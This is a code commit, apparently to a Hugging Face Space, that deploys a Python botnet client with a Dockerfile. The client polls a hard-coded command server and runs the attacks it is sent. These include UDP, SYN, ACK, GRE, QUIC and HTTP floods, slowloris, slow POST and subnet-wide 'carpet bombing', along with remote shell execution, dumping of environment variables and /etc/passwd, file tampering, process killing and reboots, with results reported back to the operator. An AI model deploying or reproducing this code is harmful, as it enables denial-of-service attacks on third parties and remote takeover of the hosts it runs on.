wuhp commited on
Commit
e3a791c
·
verified ·
1 Parent(s): aaa38a6

Deploying client

Browse files
Files changed (3) hide show
  1. Dockerfile +7 -0
  2. client.py +620 -0
  3. requirements.txt +1 -0
Dockerfile ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ FROM python:3.11-slim
2
+ WORKDIR /app
3
+ RUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*
4
+ COPY requirements.txt .
5
+ RUN pip install --no-cache-dir -r requirements.txt
6
+ COPY client.py .
7
+ CMD ["python", "client.py"]
client.py ADDED
@@ -0,0 +1,620 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests, time, uuid, os, platform, socket, threading, json, random, shutil, signal, sys, subprocess, multiprocessing
2
+ SERVER_URL = "https://ais-dev-jvjihup7o2jfww3phe6caw-212988073263.us-west2.run.app"
3
+ NODE_ID = str(uuid.uuid4())[:8]
4
+
5
+ def exec_fetch_http_test(ip, port):
6
+ try:
7
+ url = f"http://{ip}:{port}/"
8
+ t0 = time.time()
9
+ res = requests.get(url, timeout=3)
10
+ return {"status": f"HTTP_{res.status_code}", "latency_ms": round((time.time()-t0)*1000, 2)}
11
+ except Exception as e:
12
+ return {"status": "error", "detail": str(e)}
13
+
14
+ def exec_socket_tcp_probe(ip, port):
15
+ try:
16
+ t0 = time.time()
17
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
18
+ s.settimeout(2)
19
+ s.connect((ip, int(port)))
20
+ return {"status": "tcp_connected", "latency_ms": round((time.time()-t0)*1000, 2)}
21
+ except Exception as e:
22
+ return {"status": "tcp_failed", "detail": str(e)}
23
+
24
+ def exec_udp_flood(ip, port, duration, packet_size):
25
+ try:
26
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
27
+ bytes_to_send = os.urandom(int(packet_size))
28
+ t_end = time.time() + float(duration)
29
+ sent = 0
30
+ while time.time() < t_end:
31
+ s.sendto(bytes_to_send, (ip, int(port)))
32
+ sent += 1
33
+ return {"status": "udp_flood_finished", "packets_sent": sent}
34
+ except Exception as e:
35
+ return {"status": "udp_flood_failed", "detail": str(e)}
36
+
37
+ def exec_tcp_connect_flood(ip, port, duration, threads_count):
38
+ stats = {"sent": 0, "errors": 0}
39
+ t_end = time.time() + float(duration)
40
+
41
+ def flood_worker():
42
+ while time.time() < t_end:
43
+ try:
44
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45
+ s.settimeout(1)
46
+ s.connect((ip, int(port)))
47
+ s.close()
48
+ stats["sent"] += 1
49
+ except:
50
+ stats["errors"] += 1
51
+
52
+ threads = []
53
+ for _ in range(int(threads_count)):
54
+ t = threading.Thread(target=flood_worker)
55
+ t.start()
56
+ threads.append(t)
57
+ for t in threads:
58
+ t.join()
59
+ return {"status": "tcp_connect_flood_finished", "stats": stats}
60
+
61
+ def exec_http_get_flood(url, duration, threads_count):
62
+ stats = {"sent": 0, "errors": 0}
63
+ t_end = time.time() + float(duration)
64
+
65
+ def flood_worker():
66
+ while time.time() < t_end:
67
+ try:
68
+ requests.get(url, timeout=2)
69
+ stats["sent"] += 1
70
+ except:
71
+ stats["errors"] += 1
72
+
73
+ threads = []
74
+ for _ in range(int(threads_count)):
75
+ t = threading.Thread(target=flood_worker)
76
+ t.start()
77
+ threads.append(t)
78
+ for t in threads:
79
+ t.join()
80
+ return {"status": "http_get_flood_finished", "stats": stats}
81
+
82
+ def exec_http_post_flood(url, duration, threads_count):
83
+ stats = {"sent": 0, "errors": 0}
84
+ t_end = time.time() + float(duration)
85
+
86
+ def flood_worker():
87
+ while time.time() < t_end:
88
+ try:
89
+ requests.post(url, data=os.urandom(16), timeout=2)
90
+ stats["sent"] += 1
91
+ except:
92
+ stats["errors"] += 1
93
+
94
+ threads = []
95
+ for _ in range(int(threads_count)):
96
+ t = threading.Thread(target=flood_worker)
97
+ t.start()
98
+ threads.append(t)
99
+ for t in threads:
100
+ t.join()
101
+ return {"status": "http_post_flood_finished", "stats": stats}
102
+
103
+ def exec_slowloris(ip, port, duration, threads_count):
104
+ stats = {"sent": 0, "errors": 0}
105
+ t_end = time.time() + float(duration)
106
+
107
+ def slowloris_worker():
108
+ try:
109
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
110
+ s.settimeout(4)
111
+ s.connect((ip, int(port)))
112
+ s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
113
+ s.send("User-Agent: Mozilla/5.0\r\n".format(random.randint(0, 2000)).encode("utf-8"))
114
+ s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
115
+ stats["sent"] += 1
116
+ except:
117
+ stats["errors"] += 1
118
+ return
119
+
120
+ while time.time() < t_end:
121
+ try:
122
+ s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
123
+ time.sleep(10)
124
+ stats["sent"] += 1
125
+ except:
126
+ stats["errors"] += 1
127
+ break
128
+ try:
129
+ s.close()
130
+ except:
131
+ pass
132
+
133
+ threads = []
134
+ for _ in range(int(threads_count)):
135
+ t = threading.Thread(target=slowloris_worker)
136
+ t.start()
137
+ threads.append(t)
138
+ time.sleep(0.05) # Ramp up
139
+ for t in threads:
140
+ t.join()
141
+ return {"status": "slowloris_finished", "stats": stats}
142
+
143
+ def exec_api_abuse_flood(url, duration, threads_count):
144
+ stats = {"sent": 0, "errors": 0}
145
+ t_end = time.time() + float(duration)
146
+
147
+ def flood_worker():
148
+ while time.time() < t_end:
149
+ try:
150
+ headers = { "Authorization": f"Bearer {random.randint(1000,9999)}", "Content-Type": "application/json" }
151
+ payload = {"query": f"abusive_payload_{random.randint(0, 10000)}"}
152
+ requests.post(url, headers=headers, json=payload, timeout=2)
153
+ stats["sent"] += 1
154
+ except:
155
+ stats["errors"] += 1
156
+
157
+ threads = []
158
+ for _ in range(int(threads_count)):
159
+ t = threading.Thread(target=flood_worker)
160
+ t.start()
161
+ threads.append(t)
162
+ for t in threads:
163
+ t.join()
164
+ return {"status": "api_abuse_flood_finished", "stats": stats}
165
+
166
+ def exec_cache_bypass_flood(url, duration, threads_count):
167
+ stats = {"sent": 0, "errors": 0}
168
+ t_end = time.time() + float(duration)
169
+
170
+ def flood_worker():
171
+ while time.time() < t_end:
172
+ try:
173
+ bypass_url = url + ("&" if "?" in url else "?") + "cb=" + str(random.random())
174
+ requests.get(bypass_url, timeout=2)
175
+ stats["sent"] += 1
176
+ except:
177
+ stats["errors"] += 1
178
+
179
+ threads = []
180
+ for _ in range(int(threads_count)):
181
+ t = threading.Thread(target=flood_worker)
182
+ t.start()
183
+ threads.append(t)
184
+ for t in threads:
185
+ t.join()
186
+ return {"status": "cache_bypass_flood_finished", "stats": stats}
187
+
188
+ def ping():
189
+ poll_interval = 10
190
+ while True:
191
+ try:
192
+ res = requests.post(f"{SERVER_URL}/api/nodes/ping", json={
193
+ "id": f"node-{NODE_ID}",
194
+ "type": "hf_docker",
195
+ "systemInfo": {
196
+ "os": platform.system(),
197
+ "release": platform.release(),
198
+ "python": platform.python_version()
199
+ }
200
+ }, timeout=5)
201
+ commands = res.json().get('commands', [])
202
+ for cmd in commands:
203
+ print(f"Executing command: {cmd}")
204
+ cmd_type = cmd.get('type')
205
+ payload = cmd.get('payload', {})
206
+ result = "Success"
207
+
208
+ if cmd_type == 'fetch_http_test':
209
+ result = exec_fetch_http_test(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
210
+ elif cmd_type == 'socket_tcp_probe':
211
+ result = exec_socket_tcp_probe(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
212
+ elif cmd_type == 'udp_flood':
213
+ result = exec_udp_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('packet_size', 1024))
214
+ elif cmd_type == 'tcp_connect_flood':
215
+ result = exec_tcp_connect_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
216
+ elif cmd_type == 'http_get_flood':
217
+ result = exec_http_get_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
218
+ elif cmd_type == 'http_post_flood':
219
+ result = exec_http_post_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
220
+ elif cmd_type == 'slowloris':
221
+ result = exec_slowloris(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
222
+ elif cmd_type == 'api_abuse_flood':
223
+ result = exec_api_abuse_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
224
+ elif cmd_type == 'cache_bypass_flood':
225
+ result = exec_cache_bypass_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
226
+ elif cmd_type == 'syn_flood':
227
+ stats = {"sent": 0, "errors": 0}
228
+ t_end = time.time() + float(payload.get('duration', 5))
229
+ def worker():
230
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
231
+ except: stats["errors"] += 1; return
232
+ while time.time() < t_end:
233
+ try: s.sendto(b"SYN_DUMMY_PAYLOAD", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
234
+ except: stats["errors"] += 1
235
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
236
+ for t in threads: t.start()
237
+ for t in threads: t.join()
238
+ result = stats
239
+ elif cmd_type == 'ack_flood':
240
+ stats = {"sent": 0, "errors": 0}
241
+ t_end = time.time() + float(payload.get('duration', 5))
242
+ def worker():
243
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
244
+ except: stats["errors"] += 1; return
245
+ while time.time() < t_end:
246
+ try: s.sendto(b"ACK_DUMMY", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
247
+ except: stats["errors"] += 1
248
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
249
+ for t in threads: t.start()
250
+ for t in threads: t.join()
251
+ result = stats
252
+ elif cmd_type == 'connection_exhaustion':
253
+ stats = {"sent": 0, "errors": 0}
254
+ t_end = time.time() + float(payload.get('duration', 5))
255
+ def worker():
256
+ sockets = []
257
+ while time.time() < t_end:
258
+ try:
259
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)
260
+ s.connect((payload.get('ip', '127.0.0.1'), int(payload.get('port', 80))))
261
+ sockets.append(s); stats["sent"] += 1
262
+ if len(sockets) > 500: sockets.pop(0).close()
263
+ except: stats["errors"] += 1
264
+ for s in sockets:
265
+ try: s.close()
266
+ except: pass
267
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
268
+ for t in threads: t.start()
269
+ for t in threads: t.join()
270
+ result = stats
271
+ elif cmd_type == 'gre_flood':
272
+ stats = {"sent": 0, "errors": 0}
273
+ t_end = time.time() + float(payload.get('duration', 5))
274
+ def worker():
275
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)
276
+ except: stats["errors"] += 1; return
277
+ payload_data = os.urandom(int(payload.get('size', 512)))
278
+ while time.time() < t_end:
279
+ try: s.sendto(payload_data, (payload.get('ip', '127.0.0.1'), 0)); stats["sent"] += 1
280
+ except: stats["errors"] += 1
281
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
282
+ for t in threads: t.start()
283
+ for t in threads: t.join()
284
+ result = stats
285
+ elif cmd_type == 'http3_quic_flood':
286
+ stats = {"sent": 0, "errors": 0}
287
+ t_end = time.time() + float(payload.get('duration', 5))
288
+ quic_payload = b'\xc0\x00\x00\x00\x01\x08\x01\x02\x03\x04\x05\x06\x07\x08' + os.urandom(1200)
289
+ def worker():
290
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
291
+ except: return
292
+ while time.time() < t_end:
293
+ try: s.sendto(quic_payload, (payload.get('ip', '127.0.0.1'), int(payload.get('port', 443)))); stats["sent"] += 1
294
+ except: stats["errors"] += 1
295
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
296
+ for t in threads: t.start()
297
+ for t in threads: t.join()
298
+ result = stats
299
+ elif cmd_type == 'http2_multiplex':
300
+ stats = {"sent": 0, "errors": 0}
301
+ t_end = time.time() + float(payload.get('duration', 5))
302
+ url = payload.get('url', 'http://127.0.0.1/')
303
+ def worker():
304
+ while time.time() < t_end:
305
+ try:
306
+ session = requests.Session()
307
+ for _ in range(20):
308
+ if time.time() >= t_end: break
309
+ session.get(url, timeout=2)
310
+ stats["sent"] += 1
311
+ except: stats["errors"] += 1
312
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
313
+ for t in threads: t.start()
314
+ for t in threads: t.join()
315
+ result = stats
316
+ elif cmd_type == 'browser_emulation':
317
+ stats = {"sent": 0, "errors": 0}
318
+ t_end = time.time() + float(payload.get('duration', 5))
319
+ url = payload.get('url', 'http://127.0.0.1/')
320
+ user_agents = [
321
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
322
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
323
+ ]
324
+ def worker():
325
+ session = requests.Session()
326
+ while time.time() < t_end:
327
+ try:
328
+ headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}
329
+ session.get(url, headers=headers, timeout=5); stats["sent"] += 1
330
+ time.sleep(random.uniform(0.1, 0.8))
331
+ except: stats["errors"] += 1
332
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
333
+ for t in threads: t.start()
334
+ for t in threads: t.join()
335
+ result = stats
336
+ elif cmd_type == 'carpet_bombing':
337
+ stats = {"sent": 0, "errors": 0}
338
+ t_end = time.time() + float(payload.get('duration', 5))
339
+ data = os.urandom(512)
340
+ subnet = payload.get('ip', '192.168.1.') # actually subnet input
341
+ port = int(payload.get('port', 80))
342
+ def worker():
343
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
344
+ except: return
345
+ while time.time() < t_end:
346
+ try: s.sendto(data, (f"{subnet}{random.randint(1, 254)}", port)); stats["sent"] += 1
347
+ except: stats["errors"] += 1
348
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
349
+ for t in threads: t.start()
350
+ for t in threads: t.join()
351
+ result = stats
352
+ elif cmd_type == 'websocket_flood':
353
+ stats = {"sent": 0, "errors": 0}
354
+ t_end = time.time() + float(payload.get('duration', 5))
355
+ url = payload.get('url', 'ws://127.0.0.1/')
356
+ def worker():
357
+ while time.time() < t_end:
358
+ try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1
359
+ except: stats["errors"] += 1
360
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
361
+ for t in threads: t.start()
362
+ for t in threads: t.join()
363
+ result = stats
364
+ elif cmd_type == 'slow_post_flood':
365
+ stats = {"sent": 0, "errors": 0}
366
+ t_end = time.time() + float(payload.get('duration', 5))
367
+ ip = payload.get('ip', '127.0.0.1')
368
+ port = int(payload.get('port', 80))
369
+ def worker():
370
+ try:
371
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
372
+ s.settimeout(4); s.connect((ip, port))
373
+ s.send(f"POST / HTTP/1.1\r\nHost: {ip}\r\nContent-Length: 100000\r\n\r\n".encode())
374
+ stats["sent"] += 1
375
+ while time.time() < t_end:
376
+ s.send(b"a")
377
+ time.sleep(10); stats["sent"] += 1
378
+ except: stats["errors"] += 1
379
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
380
+ for t in threads: t.start(); time.sleep(0.1)
381
+ for t in threads: t.join()
382
+ result = stats
383
+ elif cmd_type == 'dns_resolve':
384
+ try:
385
+ result = {"ip": socket.gethostbyname(payload.get('host', 'google.com'))}
386
+ except Exception as e:
387
+ result = {"error": str(e)}
388
+ elif cmd_type == 'icmp_ping':
389
+ host = payload.get('host', 'google.com')
390
+ cmd_str = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"
391
+ try:
392
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
393
+ result = {"output": out.decode('utf-8')}
394
+ except subprocess.CalledProcessError as e:
395
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
396
+ elif cmd_type == 'traceroute':
397
+ host = payload.get('host', 'google.com')
398
+ cmd_str = f"tracert {host}" if platform.system() == "Windows" else f"traceroute {host}"
399
+ try:
400
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
401
+ result = {"output": out.decode('utf-8')}
402
+ except subprocess.CalledProcessError as e:
403
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
404
+ elif cmd_type == 'port_scan':
405
+ host = payload.get('host', 'google.com')
406
+ ports_str = payload.get('ports', '80,443')
407
+ ports = [int(p.strip()) for p in ports_str.split(',') if p.strip().isdigit()]
408
+ scan_results = {}
409
+ for p in ports:
410
+ try:
411
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
412
+ s.settimeout(1)
413
+ scan_results[p] = "open" if s.connect_ex((host, p)) == 0 else "closed"
414
+ except:
415
+ scan_results[p] = "error"
416
+ result = {"scan": scan_results}
417
+ elif cmd_type == 'get_public_ip':
418
+ try:
419
+ result = {"ip": requests.get('https://api.ipify.org', timeout=3).text}
420
+ except:
421
+ result = {"error": "failed"}
422
+ elif cmd_type == 'get_system_info':
423
+ result = {"cpu_count": multiprocessing.cpu_count(), "machine": platform.machine(), "node": platform.node(), "system": platform.system()}
424
+ elif cmd_type == 'list_processes':
425
+ cmd_str = "tasklist" if platform.system() == "Windows" else "ps aux --sort=-%mem | head -n 20"
426
+ try:
427
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
428
+ result = {"output": out.decode('utf-8')}
429
+ except Exception as e:
430
+ result = {"error": str(e)}
431
+ elif cmd_type == 'get_env_vars':
432
+ result = dict(os.environ)
433
+ elif cmd_type == 'list_directory':
434
+ try:
435
+ result = {"files": os.listdir(payload.get('path', '.'))}
436
+ except Exception as e:
437
+ result = {"error": str(e)}
438
+ elif cmd_type == 'read_file':
439
+ try:
440
+ with open(payload.get('path', '/etc/passwd'), 'r') as f:
441
+ result = {"content": f.read(4000)} # limit size
442
+ except Exception as e:
443
+ result = {"error": str(e)}
444
+ elif cmd_type == 'write_file':
445
+ try:
446
+ with open(payload.get('path', '/tmp/output.txt'), 'w') as f:
447
+ f.write(payload.get('content', ''))
448
+ result = {"status": "written"}
449
+ except Exception as e:
450
+ result = {"error": str(e)}
451
+ elif cmd_type == 'run_file':
452
+ try:
453
+ out = subprocess.check_output(payload.get('path', './script.sh'), shell=True, stderr=subprocess.STDOUT)
454
+ result = {"output": out.decode('utf-8', errors='ignore')}
455
+ except subprocess.CalledProcessError as e:
456
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
457
+ elif cmd_type == 'get_file_info':
458
+ try:
459
+ st = os.stat(payload.get('path', '.'))
460
+ result = {"info": {"size": st.st_size, "mode": st.st_mode, "mtime": st.st_mtime}}
461
+ except Exception as e:
462
+ result = {"error": str(e)}
463
+ elif cmd_type == 'copy_file':
464
+ try:
465
+ shutil.copy2(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
466
+ result = {"status": "copied"}
467
+ except Exception as e:
468
+ result = {"error": str(e)}
469
+ elif cmd_type == 'move_file':
470
+ try:
471
+ shutil.move(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
472
+ result = {"status": "moved"}
473
+ except Exception as e:
474
+ result = {"error": str(e)}
475
+ elif cmd_type == 'delete_file':
476
+ try:
477
+ os.remove(payload.get('path', '/tmp/delete_me'))
478
+ result = {"status": "deleted"}
479
+ except Exception as e:
480
+ result = {"error": str(e)}
481
+ elif cmd_type == 'arp_table':
482
+ cmd_str = "arp -a"
483
+ try:
484
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
485
+ result = {"output": out.decode('utf-8', errors='ignore')}
486
+ except subprocess.CalledProcessError as e:
487
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
488
+ elif cmd_type == 'netstat_connections':
489
+ cmd_str = "netstat -an"
490
+ try:
491
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
492
+ result = {"output": out.decode('utf-8', errors='ignore')}
493
+ except subprocess.CalledProcessError as e:
494
+ result = {"error": str(e)}
495
+ elif cmd_type == 'ifconfig_ip':
496
+ cmd_str = "ipconfig" if platform.system() == "Windows" else "ifconfig || ip a"
497
+ try:
498
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
499
+ result = {"output": out.decode('utf-8', errors='ignore')}
500
+ except subprocess.CalledProcessError as e:
501
+ result = {"error": str(e)}
502
+ elif cmd_type == 'dns_mx_records':
503
+ cmd_str = f"nslookup -type=mx {payload.get('host', 'google.com')}"
504
+ try:
505
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
506
+ result = {"output": out.decode('utf-8', errors='ignore')}
507
+ except subprocess.CalledProcessError as e:
508
+ result = {"error": str(e)}
509
+ elif cmd_type == 'dns_txt_records':
510
+ cmd_str = f"nslookup -type=txt {payload.get('host', 'google.com')}"
511
+ try:
512
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
513
+ result = {"output": out.decode('utf-8', errors='ignore')}
514
+ except subprocess.CalledProcessError as e:
515
+ result = {"error": str(e)}
516
+ elif cmd_type == 'route_table':
517
+ cmd_str = "route print" if platform.system() == "Windows" else "netstat -rn || ip route"
518
+ try:
519
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
520
+ result = {"output": out.decode('utf-8', errors='ignore')}
521
+ except subprocess.CalledProcessError as e:
522
+ result = {"error": str(e)}
523
+ elif cmd_type == 'wifi_networks':
524
+ cmd_str = "netsh wlan show networks" if platform.system() == "Windows" else "nmcli dev wifi || iwlist scan"
525
+ try:
526
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
527
+ result = {"output": out.decode('utf-8', errors='ignore')}
528
+ except subprocess.CalledProcessError as e:
529
+ result = {"error": str(e)}
530
+ elif cmd_type == 'system_logs':
531
+ cmd_str = "wevtutil qe System /c:50 /f:text" if platform.system() == "Windows" else "dmesg | tail -n 50 || tail -n 50 /var/log/syslog"
532
+ try:
533
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
534
+ result = {"output": out.decode('utf-8', errors='ignore')}
535
+ except subprocess.CalledProcessError as e:
536
+ result = {"error": str(e)}
537
+ elif cmd_type == 'list_services':
538
+ cmd_str = "sc query" if platform.system() == "Windows" else "systemctl list-units --type=service || service --status-all"
539
+ try:
540
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
541
+ result = {"output": out.decode('utf-8', errors='ignore')}
542
+ except subprocess.CalledProcessError as e:
543
+ result = {"error": str(e)}
544
+ elif cmd_type == 'get_users':
545
+ cmd_str = "net user" if platform.system() == "Windows" else "cat /etc/passwd"
546
+ try:
547
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
548
+ result = {"output": out.decode('utf-8', errors='ignore')}
549
+ except subprocess.CalledProcessError as e:
550
+ result = {"error": str(e)}
551
+ elif cmd_type == 'get_groups':
552
+ cmd_str = "net localgroup" if platform.system() == "Windows" else "cat /etc/group"
553
+ try:
554
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
555
+ result = {"output": out.decode('utf-8', errors='ignore')}
556
+ except subprocess.CalledProcessError as e:
557
+ result = {"error": str(e)}
558
+ elif cmd_type == 'reboot_system':
559
+ cmd_str = "shutdown /r /t 0" if platform.system() == "Windows" else "sudo reboot || reboot"
560
+ try:
561
+ subprocess.Popen(cmd_str, shell=True)
562
+ result = {"status": "reboot_initiated"}
563
+ except Exception as e:
564
+ result = {"error": str(e)}
565
+ elif cmd_type == 'get_disk_space':
566
+ total, used, free = shutil.disk_usage("/")
567
+ result = {"total": total, "used": used, "free": free}
568
+ elif cmd_type == 'kill_process':
569
+ try:
570
+ pid = int(payload.get('pid', '0'))
571
+ os.kill(pid, signal.SIGTERM)
572
+ result = {"status": f"killed {pid}"}
573
+ except Exception as e:
574
+ result = {"error": str(e)}
575
+ elif cmd_type == 'exec_shell':
576
+ try:
577
+ out = subprocess.check_output(payload.get('cmd', 'echo hello'), shell=True, stderr=subprocess.STDOUT)
578
+ result = {"output": out.decode('utf-8')}
579
+ except subprocess.CalledProcessError as e:
580
+ result = {"error": str(e), "output": e.output.decode('utf-8')}
581
+ elif cmd_type == 'change_poll_interval':
582
+ poll_interval = int(payload.get('interval', 10))
583
+ result = {"status": f"interval_updated_to_{poll_interval}"}
584
+ elif cmd_type == 'self_terminate':
585
+ sys.exit(0)
586
+ elif cmd_type == 'report_sysinfo':
587
+ result = {"os": platform.system(), "release": platform.release()}
588
+ else:
589
+ result = {"status": "not_supported", "detail": "Command not matched by python client."}
590
+
591
+ requests.post(f"{SERVER_URL}/api/nodes/report", json={
592
+ "nodeId": f"node-{NODE_ID}",
593
+ "commandId": cmd['id'],
594
+ "type": cmd_type,
595
+ "target": cmd.get('target'),
596
+ "result": result
597
+ })
598
+ except Exception as e:
599
+ print(f"Ping failed: {e}")
600
+ time.sleep(poll_interval)
601
+
602
+ if __name__ == "__main__":
603
+ if "hf_docker" == "python_local" and (len(sys.argv) < 2 or sys.argv[1] != 'bg'):
604
+ try:
605
+ if platform.system() == 'Windows':
606
+ subprocess.Popen([sys.executable, __file__, 'bg'], creationflags=0x00000008)
607
+ else:
608
+ subprocess.Popen(['nohup', sys.executable, __file__, 'bg'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
609
+ print(f"Node {NODE_ID} started in background."); sys.exit(0)
610
+ except Exception as e: print("Failed to background:", e)
611
+ elif "hf_docker" == "hf_gradio": pass
612
+ elif "hf_docker" == "hf_docker":
613
+ from http.server import HTTPServer, BaseHTTPRequestHandler
614
+ class Health(BaseHTTPRequestHandler):
615
+ def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(b"OK")
616
+ def log_message(self, *a): pass
617
+ threading.Thread(target=HTTPServer(('0.0.0.0', 7860), Health).serve_forever, daemon=True).start()
618
+ print(f"Starting docker node {NODE_ID}..."); ping()
619
+ else:
620
+ print(f"Starting node {NODE_ID}..."); ping()
requirements.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ requests>=2.31.0